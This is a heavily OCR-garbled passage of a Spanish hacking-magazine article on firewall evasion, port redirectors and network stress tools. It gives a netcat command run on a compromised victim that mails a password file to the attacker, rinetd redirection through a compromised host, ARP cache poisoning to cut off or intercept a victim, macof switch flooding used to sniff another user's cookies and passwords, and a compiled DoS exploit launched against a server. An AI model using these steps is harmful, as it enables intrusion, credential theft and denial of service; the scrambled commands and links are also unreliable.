De todos mados, no te fies mucho de
firewalk, como ulilza paquerss a punto de
caducar, algunos routers calculan que el
paquete caducara en el préximo salto ames
de probar la ACL y responderan con un ICMP
TTL EXPIRED, con I gue flrewalk supondra
que todos los pusrtes estan abiertos.

Tianeles y redirectores

Csla seiia obre secoion pare hacsr una revasta
erterta... para utilizar una conexion tunelizada
o un bouncer, se€ ha de comprometer
anteriorments la seguridad del equipo
“puente”, us decir, los redirectiores de puertos
se ytilizan como "tercero en discord’a” enire
la comunicacion entre dos host,

Sin embargo, @ vews, nu es preciso dispener
do ¢sa tercers macuina, coma veramos an
alguno ce los ejemplos, que si bien son
inucentes, nos dardn unes ldea de lo peligroso
y atrevido de alguna de estas utilidaces.

Pars explcar estas tecnicas elegi: foki, lokid,
netcat, datapipe. fpipe, rinetd y bnc

NETCAT

Bufff, esta no wvoy 2 decir dinde la
eroontrardis... No crac quo hasa mucha falta.

Wamos a crear un Wnel con aetcat para que
cuandao un usuario se conecte a la maguina
compramatida envie un Mmall con €1 contenido
de un archive.... supengamos que de una
forma u atra, sabemos gue existe un archivo
lNamado claves en el drectoria fvic, ese
archivo es gropiedad de un usuario y
sospechamos que en &l anota las diferentes
contraseias que usa...
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Imaginemos que en el equipo victima hemos
conseguidec gue ¢jecute esta orden:

ne 1 -p 4455 | mail vic thor@forohxc.oom < /vic/claves

Y sapongamos que el firewalf de 'a vicima

deja pasar las conexiones por el pueto 4455...
cuzndo el “atacante” se conecte a ese puerlo
recibirda un mail con el contenido del archivo
/vic/claves, veamos:

mwn-u-nﬂdw

[ree ol dmacrh® Tnabost 4 (ve o) edV B vie RO ibe e 8 i clamse

Ahora desde el equipc “3racente” nos
conectamos a la victima por el puerto 4455

netcat, asl: pe w3 172,

Si usaste telet, sera necesario un CTRL, +C
pora terminar le comunicaclan, o usastc noesar
se descanectara solito a 1as 3 scQundos
{(-w3)

El caso es gue de un modo U otro, cuondo
lezmos nuestro cxrea, veremos el contenico
de ese archihvo "deseads”

WA RN St U AN R SRR, y?'* s
RN NI EUSS I P
Taoh Ton, ¥ S 04 2000 212000
B o v At heulben o O
Cnr o warsie inoisncw?
N | ]
Pare ¥ scmer
ArTas parwea
Larar vt aam ™
S At ey
Fowe il bwa

ey N Vw".‘. 'ﬁ";'n‘- A
] r.-.'ew:x‘.-ir. o A s | e v vy

LOKI Y LOKID -

Estas herramientes enmascaran bajo tréfico
ICMP otro tipo de trafice, cualguier dispesitivo
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de filtrado que parmita el pacso del trifice
ICMP v UDP sin verificar el contenido de dichos
Pequetes son vulnerables a eilo.

Parg Iniclar le servidor jokid, puedes usar
esta sintaxis:

Y luego dasde 2l cliente:
lokl ~d ip.del.servidor -p ~I -v 1 -t 3
Pudrss enceontiar fokf y loki2 (lokid) en las

listas de discusion de phecrack y e 1a web
de packetstonm,

hittp: //www.phcrack.org
1) i NG : 3.0
[pocketstormsecy f i2.lan.gz

Y para Windows, ne hay nada similar para
Windows?

Pues si, pero ya sabes, casi todas estan
clasificadas como troyenos o vrus, encontror
unague no lo sea es una suerte, sin embargo
OS5 ponare dos Hnk's a ruestros foros, son
troyanos... ya.... pero estan suficiertemente
wxplicados y nos daren unz idea de lo peligmso
que con,

El primero es muy Ingenlosa, Nno precisa
establecer comunlicacién axtremo a extremo
entre clisnte y servider como la hacen
normalmante, ademas @5 un yrma poatente
en la deregacién de serviclos distribuidos
(2DoS)

R/ fonan. Fowcbosrsacie comy pheB G uvmatopsic she = 14257

El segundo et una puecrta trasera, ligeray quo
dic que hablar en su momento,

hetp Fhaven. hackocrack com/poBB 2/ dewtiope. php = 7534

Por cierio, es2 hilo me trae recuerdos... es el
resultado de una charla que se organicd en
un IRC, tras las “explicaciones” pasamos &
“ie§ precticas”, para efo dispuse de varlas
equipos de pruebas y en total huko casi cien
comunicaciones simultaneas (algunos hacian

mas de una, que lo veiz %)

El caco ec que se wtilizé una conexlon madem,
si, si, de 56kb nada mas.... y utilicé un beuncer
{un redirector de puertos) para que unos
accediesen 3 un equipo y otros g clro..,
concratamence fue rinetd v fpipe, busno y
otro con GUI para probar.

Un & i i X

Pusdes encontrar distribucionas tanto para
LiNUX como para Windows on:

http: /fwwwe, bouted.comy/rinetd/

Su funcionamiente es muy simple, precaa de
un archiva de configuracion (un archiva de
Ltexto) y ¢l progroma cn s mlame.

Supongamos que en maestra red existe un
firewall que Fltra € accesa a un servido” web
curporativo por IP'5, ¢s decir, sl nuastra IF €5
la 172.28.0.50 cuando intentamos acceder a
dichu servidor nos niega ¢l acceso, porque
esa IP ro esta permitida,

Aunque hay muchas otras formas de saltarse
esa limitacién, porgamos gue descamos usar
un redirector, Imacinemos gue una de las IP's
permitidas esla 172.28.0.9 y la 1P del servidor

\Web al cque queremos acceder 25 1/2.28.0,200,
primero Nos creamos un archivo de texo:

v

Bl de

wwwwm

L Sintituls notas

172.28.0.9 3344 172.28.0.200 60|

£
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Lo quardamos con el nombre redire.txt, por
eemplo....

Ahora copiamos 2l archivo rinetd.exe v el
archivo redire.txt a la maquing
"comprometida”, es decir, 2 1a maquira con
1P 172.25,0.9

Y lo ejecutamos asi:

En ese momento Ia méguing 172 .28.0.9 esta
escuchando paticiones por &l puerto 3344 ¥
cuande le lleguen, redreccionara esa misma
peticidn haca la 1P 172.28.0.200 por el puerts
8), que es el servidor web.,..

£l servidor web 5 el firewall entandera que
Ia peticlon la hace la maguina 172.28.0.9
cuanda realmentz seremaos nosotres.., akhfi!
Que cémo lo hago... pues muy facil... desde
nuestmn equipe, € que no tiene acesg a esa
sarvidor wes,.. abrimes el navegador y en la
barra de direccion escribimos:

http://172.28.9.9:3344

Esto no es mas que un eemplo, repito o
ccho antes de comenzar esta seccion, para
cue los taneles, redirectores, troyanocs, etc...
Surtan efecto, primero hay que comprometer
esa tercera maquina en discordiz,

Diros redirectares coma fpipe, bnc, pptunel,
etc... No precisan de archivo de conflguracion
exterro, hay muchos por a red, basta que
hagas una busqueda en google para que e
salgan miles... elige vno ligero ¢y "probade”

%

Stress-test v DoS

Estamos barminando. . asta eard nuestra Glkima
(o penditima) s2ccidn... y una de las més
interesantes a la hora de probar nuestras
cispesitivos de filtrade de paguetes.

Desde el punto de vista de un administrador,
es muy importante probar la establlidad del
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firewall, de 1as lIstas de acceso, de su
cormportamiento en general, para que cuando
vengan las prabemas y los atagques tengamaos
"cierta seguridad” en co6mo van a ser
respondidos. ..

Comeo siempre tenemos multitud de
herramientas para probar esto, yo me voy a
centrar en unas pocas y uego te irvitaré a
probar otras tantas...

son:

Nemesis, que ya fue comentada en €l
articuio 18 de esta revista y que aqui
la usaremos para envenenar ta cachd ARP
de alguna maquina de nuestra LAN.

Macof que forma parte de |a sulte de
asnify, @MDén 5¢ COMmentanon en (0 e os
anteriores, concratamente en la Revista
niimero 11 dentro del articulo de Intrusion
en redes locales, nosotros vamos a usarlas
para provocar un DoS @ €quipos concretos
o para esnifar en redes con switches
mediante una denegacion del servicio.

ISIC, esta es nuava,,. bueno no tanto. ..
en “otra de las charlas” por el IRC, hablamos
de elias, €s un generacor de paquetes que
nos serviran para comprobar cémao se
comporta el firewall o 21 105,

¥ por ditime usaremos dos expleits para
un firewall muy conocldo, Zone Alarm,
aunque ya estan "controlados” por el
fabricante, tienen una "virtud” y es que
aungue el fimwall Zone Alarm no & venga
a abajo... sera tal la cargs de paquetes
gue lo que conseguiremos es "astar” 1a
conexidn y termynaremes por tumbar al
PC en el que corre, Y 51 853 magquing ne
tiene Zone Alarm instalado, consumiremos
€ ancho de banda y dejara de prestar el
servicio,.. provocaremocs un JoS a nuestros

sarvidores de practicas ®

También seria recomendable que Lte
familiarizaras con algdn esnife, los hay para
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todos los gustes v colores, desde “ef crudo”
tepdump hasta otres mas sofisticados como
pueden ser Ethareal, Commuvisw, Irie o ol
mismisimo smort gue tantos articulos ha
ocupade,

Si desces aprender "wun poquitc” el
fundonamienta de zlguno de os indicados,
pruebe a leer estos post en nuestros foras:

http //www. hackxcrack, comy/php BB 2 /viewt
opic php?=10306

Si eres nueva por nuestms foros, quizas ke
asuste el tamafio del pest y de la
documentacidn que se ofrece, ., son mas de
200 paginas... § lo que te irteresa es amperar
con &5t Je fos esnifers, prucbs a empezar
con b parte comespandiente a ese post acerca
e Commviaw.

Probando la pila de TCP/IP. Con
ISIC

Probar |a pila del pretocoic TCR/IP es algo
nabitual que serealiza cuande instalamos un
COMarueygos, un senvidor Web a cualquier otro
dispositivo que deba estar exouesto a posibles
ataguecs externas o interncs y peder probar
las seguridad que nos brindan nuestros
routers, fierewalls v asl asegurames de su
correcto funcionamianta o respuestas ante
dalagues comunzs v/ Intentos de acceso no
parmitides,

Mas que una practice en si mysmo, 1o que
viene a continuacidn es una coleczlén de
sugerencias, oraebas e Intentas de ataques
de DaS que suslen ir dirigidos & este tipa de
cIspositivos. | |

Se trate de ura aplicacidn muy interesante
para prokar ACL's, Firewall y pila TCP/IP
en general, s un generador de paquetas
maciva, es decir, sc CoMpPerta como una
‘mretratieta” ce pacuetes IP en los gue va
variando fas direcciures ongen, la versién 19,
‘a longitud, etc... £5 mas, es capaz de generar
paquetes legales e Incluso pedemaos elegir

la cantidad ce paguetes mal formades de
ferma que podemos observar cémo se
compoarta nuastra router ante eza tipo de
paquetes.

Persards que no tiene mucho sentido enviar
al router paquetes que s han de descartar
perc tened en cuenta que un rouker s como
un ordenador, tlens Procesador, RAM, ROM,
Sistema Cperativo, Tarjetas de Red, atc... ¥
LOCeS (65 paguetss que le jlzgan los ha de
prozesar (valgan o no vaigan) por lo gque debe
dedicar recurscs, memoria, etc para esas
labores.

Cuanto més entretenidos estén reensambando
paguetes o preocupado d2 lo que le llega, mas
recursos necesitarsd, mas memoria. mas uso
Intensive d¢ precesadar y s5i rodoa se
sobredimensiona puede legara bloquense.

Claro bloguear un router puede no sor atractiva
{@ no ser que queramas dejar 5in servicio A
unz detarmmada red o miquinas) pera
bloquear un Firewali o un IDS puede
ccasionar awiénticos estragos én una rred
puesto gue deja de auditarse o quedar
desprotegide de otros ataques.

El conjunte de aplicacionts qua useremas a¢
ltama ISIC, no empieces a buscarlo por ia
web, €n Dreves minutos te pondreé el lirk ce
descarga del paquete, abora debe interesarte
mas comoe funciona y saber lo wue puade legar
a hacer... quea es MUCHQ.

ISIC puede generar paquetes TCP, [CMP, ARP,
UDP e 1P para probar estos tipos de atagues,
€50 si, stlo pam los que uséis UNUX, pero es
muy simple de utilizar, la aplicacian isc se
compane de varios praaramas. que son:

¥ lsic

¥ Tepsic

¥ Udpsic

» lampsic
P Esic

Cada une especializada =n trafico IP {Isic),
TCP (tepsic), UCP {udpsic), ICMP (icmpsic)
y tramas ethermet (esic)
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Algunos sjemplos de ISIC

Para 1odos luos ejemplos que vienesn a

cortinuacian sa supene gue el router a probar
es laIP 172.28.0.1

Esta orden enviara paquetes {(miles de
paquetes!!! Aproximadamente uncs 5 MiL
PAQUETES POR SEGUNDO) v de ia slquiente
forma:

-5 172.28.0.25, gireccién 1P que envia
10s pagueres

-d 172.28.0.1, clreccion 1P que recibira
los paquetes

-I0 NINGUN PAQUETE (0) tendra un
longitud de cabecera inadecuada, vamos
cue todas las cabecarac IP seran validas

-F70 F! 70% cde los paquetes seran
fragmentades, s declr bastante trabajo
cxtra para ¢ destino, la fragmentaclon es
zlge gue vimos en articulas de snerk,
r=ouerda el ejemplo del puzzie y del gaste
en recsrsos que un rovter recesitara cara
rBCOMPUNer esos pacuetes

-¥10, cl 10% de £50s pagueles tendran
Lna version IP diferente 2 |2 4, es decir,
ne seran véiidos

-m3000, gensrard 3.000 xbiks oor
segunde, vames que enviamos unocs 3
megagits d2 paguetes por cada segundo,
<i hublidésemos querido enviar ur nimero
de paguetes delerminade en lugar de
utilizer —m seqguido cel arncho ce barda,
se deberia usar —p v el ndmere de
pafuates a genEerar.

-0 Registra los resultados y veremos
como fue todo

tcpsic y udpsic tienen las mismas opciones
que Isic y ademas podamaos especiticar el
puerla origen y/o destinc a probar, por
ejempla:
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La Gnica diferencia 25 la apclén =d, gue
después de la direcclén IP destino se puso
unz coma y el puerte TCP & predar

Si no se incluye el puerto destino, fcpsic
gereraré los paquetes hacla puertes de fTorma
aleatoria

Iempsic se utiliza para prohar el pratocolo
[CMP, 1a mayorfa de las redes bloquean 10s
ICMP entrantes del Lipe ping, pero pademes
usar otro tipo de trafico que no correspande
a la pelion echo (ping)

ICMP o hemaos vistd antarnarmente. recuerda
que hay o puede haber varios valores en |os
campos Type y Code def mensaje ICMF, por
ejempla del toe TimeStamp.

Otra de las funcianes icerasantes que tiene
icmpsic es |la de ganerar paguetes con
checksum ncerracios que invalidara ol
paguete cuando se reciba y comprabar como
e comporta el FireVdall a router arie e3¢ tipa
de paguetes,

Las opciones son las mismas gue vimos antes,
dnicamenta sw arade =il% que permitirdn
generar e! 15% de los paquetes erwiados con
un checksum incorrecio

Esic esid relacionada con etheronsl v geners
paquetes con numeros de proiocole aleatorios,
vamos que no se basan =n el prohooglo ICPAIR

PSR Crae AR th i e M e B OIS e i AR -

1 TR = AR e O 0 T e P AC W 5 = At
Sien lugar ce usar =p y n® de protocalo
USaMos —@ rand usar: numeros alearerios
de preotoculo

Si no Incluimos la apcion ~d v |8 MALT desting,
se enviaran los paquetes a la dreccion de
broagdcast de la red, es decir, a 10005 105 Host
de la red
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MTU a5 la unidad maéxima de ktranemisian,
va sabes.. para ethernet 1500 bytes

Esic esta pensado para probar switches y
hubs, puede causar estrages en la red,
inundaciones 0 tormentas de broadcast e
Incluso pravocar negacienes de serviclos a
esos dispasitivos

Resumen del conjunto de herramientas
I1SIC

Isic, especialmente disefiada pars prodbar
protocolo IP contra cortafuegos, routers
y servidores

Yepsic, item de isicy para probar servicios
Iimportantes del tipo 22 SSH, 25 SMTP,
80 http, 8080 proxies

Udpsic, para servidores DNS

Icmpeic, para probar cortafuecgos y
routers an general

Esi¢, idem de los anteslores y pensado
especiaimente para hubs y switches

cemplos (analiz sterformente

sus objetivos)

abserva gue el 75% de TODOS los paquetes
seran errdneos y frragmentadoes, 10sS firewalls
suelen furcionar muy blen cuando se enfrentan
a condicienes normales, pero ante aste tipo
de paguetes pueden llegar a colapsarse.

Esto genera paquetas validos (03 incasrractas)
perc permitira comprobar como se comparta
of servidor Web (puerto 80) al rechir 4 megas
de paquetes que intantan conectarse desde
IP aleaturios (-5 rand)

Pogreéis encontrér ISIC en:
wwiw. packetfactroty.net/Projects/ISIC , sblo
para LiNUX 5

uetes NEMESIS

Generador de

Ya dije antes que en Iz Revista numero 18
dentro de 1a serie de articulos del curso de
TCH/IP se comento esta utilidad, aqul vamos
a darie un uso diferente... envenenar la tabla
ARP enviando pacuetes mal Intencionades.

El objetvo..,. Dejar a un PC de nuestra LAN
sin conectivicad a Intarnet

RECUERDA

El equipc 172.28.0.1 &5 &l router
El equipo 172.28.0.25 sord ¢l atacante
El equipo 172,28.0.50 sera |a victima

Y no te oivides de cambiar mis (s por las

Si lo que tienes son Unicamente dos ecuipos
¥ una de ellos hace de proxy, te sobrara
el equipo que yo llamo rouler, de tal forma
gue atacante y servidor proxy seran una
misma cosa.

Si dispones de un sclo equipo sin youber,
no padras hacer nada

Si digpones de un sdh equipo + maoter, 1o
méas probable es que pierdas la conexion. ..

Si dlspones de tres equipos y uno de ellos
e un servider prexy, interpreta 2 ejemplo
come St tu servidor proxy fuese un routey,

Vamos a averiguar las MAC's de cada cosa

19} Macemos un ping al router ¥ otro ping al
eguipo {victima) de la LAN desde el equipo

atacante

ping 172.28.0.1 (ping al rouvter)
ping 172.28.0.50 (ping ! equipo DOS
de mi LAN)

CON ST0 CONSEqUITIS que en nuestra mayuina
se actualice la caché ARP y pedamos obtener
sus MACS vy las anctamos. ..
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20 Obtaner o tabla de direcclones MAC- 1P

de la_caché ARP (desde atacante,
172.28.0.252

arp -a

En estos momentos, tanto ‘as cachés del
Equipe victima come ¢en I tabla MAC o de
enrutamiento del router estan las MACs de
los Bquipos Lon gue se comunican, €s Jdeclr,
en el equipo victima figurara Iz MAC del router
y Ia MAC del aquipo "atacante”

3e) vermcar la caché en el equipo victima

(desde 1 72.28.0.50)

arp ~a

49) Inyectar el paguete "mal intenclonade™
desde e atacante (172 .28.0.25)

Ahora enviames este paquets DESDE
172.28.0.25 haciéndonos pasar por ¢l ROUTER
(172.28.0.1) y te enviamos una MAC que NO
BS LA DEL ROUTER!I! Y 10do 2llo se |0
enviamaos al equipo victima (172.28.0.50)

équé le ocurrira al equipo 172.28.0.50
(la victima)?

Puzs que actualizaré su caché arp con la
MAC AA:BB:CC:DD:EE:FF y asociard esa
MAC a Ia Ip con Ia que le hemos Inyectado
el paquete... la 172.28.0.1 por tanto cuando
quiera comunicarse con ese aquipo |a IP
172.28.0.1 no respondera porque ESA
NC ES SU MACIHE
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Vamos que le dejamos sin conaxion con el

router y por tanto sin Internet ...

59) Veamos como gque da la cache del equipa
victima:

Si ahora desde ose equipe (17/2.28.0.50)
abrimaos el ravegadoer....

Zaslif No hay conexion...

Y no tandra conexlon hasta que ocurran
cualquiera de estas circunslancias:

P Que desde el equipo victima (172.28,0.50)
se haga un arp -d (limpiar 12 caché)

P Que desde el equipo &l router (172.28.0.1)
se haga un ping a 172.28.0.50

¥ Que pase un tiempo determinado...
Explicando al por qué esos tres casos:

El primer caso estd clare, ai se eliminan
las entradas de la caché ARF se elimina
12 MAC falsa ascoada a la 1 del reuwcer
y cuando quiea comunicarse lanzard una
peticion broadcast en la red para averiguar
fa MAC verdadera.

Si ¢l router hace un ping a la victima
ésta actualizarad de nuevo lacaché ARP
con Ia MAC verdadersa... os5to ¢ mLy
comun en los routers, envian paquetes dal
tipy JICMP redrect para que sus dientes
Yactualicen” sus puertas de enlace.. .

Que pase un bempo.... tedos bs Sistemas
aperativaos manejan |a pila TCPS1?P vy 1as
cachés de forma diferente, una de ias
diferencias es el tiempo transcurrice para
liberar conexiones y recursos, la caché es
un recurso mas y para “ahorrar” RAM
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y otros scrvicios cada x tiempo se
liberan, al pasar esa tiempo nuestro
DOS ARP dejara de funcionar, ecse
bempa puede oscilar... minutes, horas,
dias, kasta el préxime reinicic, etc. va os
digo, depende de! Sistema Qperativo,

El equipo victima solo pardera la canexidn
con el equipo al que la suplantamos la
MAC, con [os otros equipos de la red
tendra un comportamiento normal,

Como veréis queda “demostrado” la
frasecita gue se va hacer famosa:

SIN DIRECCIONAMIENTO FISICO NO
HAY DIRECCIONAMIENTO LOGICO,
NO HAY COMUNICACION.

Ideas:

Supianiar la MAC del router igual gue antes
pere en gar de usar una MAC inexistente
podernos poner fa MAC de! equipo atacants,..
@ SuU VeZ, en ol equice atatante se arade otra
IP virtual con 2 TP gei rovter... Acabamos de
obliver & gue las conexiones del equips victma
"pasen” por el nuesiro,
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Si el equipo victima hiciese un arp -a para
ver su cachré ARP, veria esto.

Claro que vista asi dnicamente no tendria
mucho sentida... pusta que por la magquing
del atacante salo pasarian las peticiones de
13 victima ¥ no las respuestas de ios equinos
con los que quere comunicaree, nos faltaria
redireccionar sus peticiones hacia esas otras

mdéquinas, como sl las hiciésemos nasotros
mismos pero con les datos asnifadas de la
victima... €llas nos respondesian ¥ nesotres
entregariamecs esas respuestas a la victima
de nuevo,... 0§ suena esto a algo??

ENVENENAMIENTO ARP ARTICULO B DE
LA REVISTA... pero contada "“de otra
forma"

Recordad que ARP sdlo afecta al ambito
local, 1o vayd's envenenadc ARFS por loternet
Gue nNo tiene sentido, racordad como se
produce el enruramiento, vy antes de
terminar

Nemesis s un generador de2 paqueres que
podras encontrarlo tante para Windows some
para { (NUX en:

MACOF

Veames, esta es una herramignta reiuida en
12 suite dsniff y aunque hay versianes para
Windows y para LUNUX de dsaitt, [a dist1Eucian
para Windoves no ncluye macof, por lo que
deberemos usar LVUX

Encentraremos denifr cn:
htip://monkey.org/~dugeong/denill/

¥ precisa de numerosas dependenclas...
P Berkeley DB en: DMEp://vave sleepycat comy
P Open3SL en: http:/fwww cpenssl org!
P Libpeap en: hitp//www Lepdump.org!
P Libnet en: hin. 2 ojects ko
P Lonids en: hopesw aadbsttac ooy netFmisrs] hnvk

dteave.pecketfactay aet,

Hay que instalar las dependencias antes de
dsniff y coma ya dije en otra acasior, nazlo
en 2l ordan que te puse, parque unas dependan
de otras. ..

El cazo ez qua bras netalaris TODO, tapdramaos
disoonible las utilidades de dsniff, que son
muchas y que aqui sdlo rablaremos de macof.
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Lo quevamos a reallzar es ago MUY agresivo,
con un gran impacto 2n la red, pero... hay
gue probar ce tade,.,

Antes de nada, vamaos a comprerdear por qué
Iz existencia de macof y qué wamns a
intentar...

Ya sabemos que para conectar equigos en
una red locd podemos utiliza Hods 0 switcles,
aunque fisicamente son muy parecdes ¢
aparertemente hacen lo misme, funclanan
g2 un modo muy distinto.

Un hub se limita a "repetir” la senzl (los
paquetes de dates) gque le entran por una da
cus bocas hacla tadas 1as demas, esto es,
gue cualquiers gque porga un esnrer en mods
promilscus, en cualquler aguipe de es53 rad,
escuchara zl tréfice de lodos 10s @quipos,
pertengcen a e Capa 1 del modely OS],

Un switch lrabaia en czpa 2 del modeic OS],
s$on mas evolucionadoes, construyan una tabla
en su memoria que relacena 2 boca del
saitctrcon la MAC v direccion IP de ia macuina
que esta conectada a esa hoca..., ¥y ceando
&% anuipas se comunican, 2 swiich conmuts
el trafico dnicamente entre s equipcs
ofectados, o sca, quce sl colecames un csnifer:
en modo promiscuc en un host cualgquiere,
wlo podremos capturar gl rafice que se
orlgine en ese host ¢ que vaya difgide a ese
host, no el de obos...

Vista de ese moda, los swilches aportan ura
mayor sequridad, parece ser que escuchar
ias cenversaciores o escondidas” mo serd
posible, .. & no ser que arvenanamas ARD
oMo se demasts antes.

Lo queg nos INteresa en este apartade no es
probar téonicas d@ ARF Spoofing, sino que
vames a inteptar convertir un switch en
un hob.... einnn?? Pues s, esto es 1o que
kara macof, sl tkene &lto tendremos nuestn
flamante switch convertido en un misera
tub... @so trae consige una hajada Impartante
¢el rendimiznte de la red, perc nos permitira
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QONEr Un esNSE en Medoe promiscud y gue
fanclone eq un medio conmutado por switches.,

Como ya he dicho, los switches corstruyen
una tzbla que rlacicna las MACS conlas IPs,
con ‘os puertos fisicaos del swalch y alqurecs
otros valores ¢coma el tlempo de actividad,
tiempo de caducidad, etc. .

Para gilo, log switchas utilizan mamora, como
sl fuese ia RAM de un PC y como todo en la
vida, nay un limite, ...

Supcngarmos gue tenemos un swiltch de 8
bocas v que en &l hay ceonectadas 7
ordenadores y un rovler, 8l switclh guarda en
sy tanla los datos anies mencionados y
cormuta & trafco de la red.

£Qué pasaria si a wse switch le enviamos
miles y miles de paquetes con IP's y
direcciones MAC falsas? ¢ Lodo @50 #n porns
sagundos.. .

Pues que el swiich enpezara a actualizar su
Ltable y asigna constartemeante nuevas
entradas, come Son tantas ¥y tantas, pueden
pasar varas cosas!

P que sea un Sedor switeh y detecte la
tormenta, I& pare ¢ desconecie ese puerto
P que se blogure, gl pobrecita se le agota 1a
merroria disponible ¥ "se mouera”

P quz en lugar de "moerirse®, nuastro switch
actila asi: “joer gus barbaridad de paguelss,
no puedo con todos.. . pos ala... me convierto
an un AUb y gue e (as apaden jag PCE”

Aungue parezes asembrosa, son mudios mas
las ccaslones en las que un swilch se camparta
de! ultimo modo qué de Ins ofrs.. . hombre,
también depende del tipo de switch... no
vayamos a comparar un Catalyst de CISCO
cue puede llegar a costar varios miles de evros
con uno de escs de marcd "addas” que nos
cuestan pace mas de 30 eares... 9€ro aungue
el switch sea muy caro, tamoién hay que
administrarlo... ¥ oo
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Bien, pues yo esté descrita la utilided de
macef, ahora veamos la prueba...

Primero usard un esnifer en un equipo
Windows para intentar cazar el Lrarico del
host 172 28.009, no cazaré nada.... porjue
€l switch ne "me pasa el tréfico” que 2se
equipo establece con otros,

Luego en un equipa LINUX abriré una linea
ae comandos para poder gjecutar macof v
mientras se ejecuta volveé a poner 2 esrifer
en ¢l otro equipo, a escuchar... y ... veremos
que 5i captura lo gue buscdbamos...

Antes de continuar y terminar con macof. os
recomendaria que si lo vais a probar en
vuestro trabajo, colegio, ete.. donde no sedis
administradores de la red, ADVERTIRLO
anteg, porque es pesible que el rendimiento
descienda... y mucho...

En este escerario las IP's de prueba son:

172.28.0.200, el equipo LiNUX que
lanzara macof

172.28.0.50, un Windows XP que se usara
won el esnifer

172.28.0.5, un Windows 2000 Server que
sera 8 qulen queremcs espiar

172.28.0.1, un switch/router/firewail US
Robotics d= B puertns, configurabla y
gestionable,

Primero hablitamos las reglas... gscuchar
lalpP 172.28.0.9 v =l pueto 80, o sea, a ver
por donde navaga.,,
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Y luego Iniciamos el esnifer, para intentar
capturar el tréfico.. despuds da un buen rato...

nada...

Ahora lancemos macof desde el LINUX, la
hacemos contra la direccion IP del switch y si
no la sabemas, puss al "arar’

e i e Soevaor ke

ewtelione o8 swt )y mael b

eeewion: A

'lm ool o8 set) 0 2810 (= Tha)
(=1 fabecfuce) [~0 times

"X 55¢CT [~y ®ars]

fmu)mx-no HOT]E Wasd 4 VT M0, :|

Utilizamos las forma macer -d 172.28.0.2
porque sablamos la IP del switch, pero
perfectamente hubiera sido valido es:ribir
simplamente macor.

Cuando pulses entar empezaran a mostrarse
cientos ¢e paquetes que salen. .. no lo pares...,

Tembién se puede especificar la interface
{-i) 0 el ndmero de paguetes (-n)}, &5 muy
senciliio su uso.

Ahora veamaos que pasé an & espier... en la
maquing Windows XP
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Vemos que nuestro queride PC 172.28.0.9
anda por los foros de hackxcrack, ncluss e
"pillamos” las cookies... Yy can suerte,
podremns cazar hasta |as contrasenas..
macef, funciono.

Terminamos, vamaos a ver escos dos exploits
que causaran una negaclon de sevicios. ..
Uno es un script en perl y otro es un
programa en € que hay qu2 compilar en
LINUX, aunque se pueden lanzar desde
Windows, no te lo recomiendo. , 1a pla TC¥IP
de Windows se desbordara en el equipo
atacante y se Feird tu PC, hazly desde LiNUX.

hatp S pachotatormaseurity nl SO0 -espNoita/angustines.

quiera hacer

El ctro,

it v, cacusnbylooue comy chatavulnera il s eaplotts/2oneadivm < kip-oos,

La filosofia de ambos es la misma, enviar
miles de paguetes aleatorios a puertos
aleatorios, por UDP, el resultado es que
hipotéticamente "tira absjo” @ Zome Alarm,
a mi na se me va abajx.., pero te puedo
asegurar que carge de sobremanera al host
atacado, tanta, tante aue daja de prestar
servicios 0 se vueive muy torpe.

Que se nos venga abajo un PCno es el objeto
de 8510, pero matar su nrewall si que =erfa
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una buena cosa para algun desalmado que
algo contra nosatros.
Estz ¢5 lo que le ocurre al rendimiente del PC
atzcado (con zone alarm o sn él} el uso de
CFRU es Intensivo...

U aduinbisadar fe tarees de Y
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Para user el exploil augusliner.c hay gque
compilario tal y como dice el fuente,

gcc —o sugustiner augustiner.L) . /augustiner
Y luego se larza centra ¢l objetivo en la forma
.Jfaugustiner 172.28.0.50 www.google.as
Y al PC destina empezard a recibir miles de
pajuetes aleatorics, de tamafios aleaterios

por puetos alaatorios con origen en google. es

Probemos con uno de los servidores de prachas
de hxc... Primero e hacemas un ping para
ver 51 esta on
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Vala, hay respuesta
con LINUX le lanzamos el Dos...

. ahora desde ol aquipo
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No hay que pulsar CTRLIC, Io dejamos
coriends ¥ véamaos qué pasa si desde el otro
equipe hacermos el ping....

T SDh S s

"muerte’.... nd s te olvide cancelar el Das
mediante CTRL +C que sne la gente no podied
hacer “sus pricticas”

™.

Ne ectaria da mas que prabaras tada aska
bzteria de herramientas y utilidades en tu
red, configurende snort como te bemaos
ensenado en los namerns anteriores.,, &5 una
buena practica y cescubrirds cosas muy, muy
interesantes...

Szludos

Anh!! Una vltima cos3... para que luego
digdis que no me porte bien... si no
querdis wvolveos locos con tanto link, tanta
descarga, tanta.... aqui tenéis un enlace
que en el gue os podéis bajar TODAS las
herramienias usadas en este articulo y
alguna otra gue puede ser interesante...

h}}_g:/(www.lomhxc.wm stress /22 /u.z1

Dadicatoria:

Tengo gue dedicarlo... b siedda... pera es g
en une de los romemns “desaparecic” I
cedicatorla y estaba prometica, ., para tl,
Lovrdes, con respeto y mi eterna
amistad....




